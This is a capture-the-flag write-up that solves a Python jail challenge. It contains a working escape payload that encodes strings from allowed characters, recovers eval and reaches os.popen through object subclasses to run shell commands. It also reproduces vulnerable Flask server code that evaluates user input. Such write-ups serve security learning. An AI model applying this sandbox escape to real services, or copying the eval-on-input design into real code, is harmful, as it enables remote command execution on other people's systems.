Skip to content

Omegapoint CTF 2023 - MISC - Nohtyp Playground

Posted on:January 1, 2024 at 02:55 PM

Challenge

Category: MISC

The missing elf left behind a puzzling application before vanishing. It appears the elf drew inspiration from the Brainfuck programming language to devise their own unique coding system for some undisclosed objective. Regrettably, no manuals or instructions were left behind to decode this mysterious language. Help us unravel its secrets and the inner workings of this peculiar language.

http://51.120.248.76:1338/

Solution

First thoughs

What is this? Some kind of secret code? No it is Python :)

This is a python jail. Let’s break out of this jail!

Solution

Fist I created a function so I could create arbitrary strings.

The idea here (also used by the examples) is that we use use lists containing “%c”%[boolean, number]. We assugn the charcahter _ to True with _:=1==1. The secound item is the number that we build with True+True+...+True. In hindsight, I could have written this alot simpler, like "%c"%(1+1+...+1) :)

function to create strings that wil be evaluated to your message

def create_str(message):
    result = ""
    for c in message:
        m = (ord(c)-1) * "_+"
        result += '"%\\143"%'
        result += f"[_:=1==1,{m}_][1]"
        result += "+"
    return result

I used this to create the string super_duper_secret_cheatcode and got my hands on a fresh eval function via the builtins dict.

Since we have no globals and only eval in locals, we need to dig deeper into python. By that I mean, searching up ways of retriving globals methods when none are avalible. I found a cool writeup that showed me how it worked: https://ctftime.org/writeup/38310

with a small change, I was able to list the dir and get the flag.

final exploit

finalpaylaod = f"__builtins__[{create_str('super_duper_secret_cheatcode')[:-1]}]"
finalpaylaod += f"(" + create_str("[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').popen('cat flag.py').read()")[:-1] + ")"
print(finalpaylaod)

flag: OMEGAPOINT{1t_w4s_jus7_pyth0n_c0d3_4ll_4l0ng!?!?}

appendix

code from server

from flask import Flask, render_template, request, jsonify
from flag import FLAG
import os

WHITELIST = "123builtins456!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"

app = Flask(__name__)
app.secret_key = FLAG

@app.route('/')
def index():
    return render_template('index.html', output="")

@app.route('/evaluate', methods=['POST'])
def evaluate():
    response = "Failed to evaluate nohtyp code"
    if request.method == 'POST':
        data = request.json.get('data','')
        for c in data:
            if c not in WHITELIST:
                return jsonify(output="Invalid character in code: %s" % c)
        try:
            co = compile(data, "<string>", "eval")
            res = eval(co, {'__builtins__': {"super_duper_secret_cheatcode": eval}}, {})
            response = repr(res)
        except Exception as _:
            pass
    return jsonify(output=response)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, debug=True)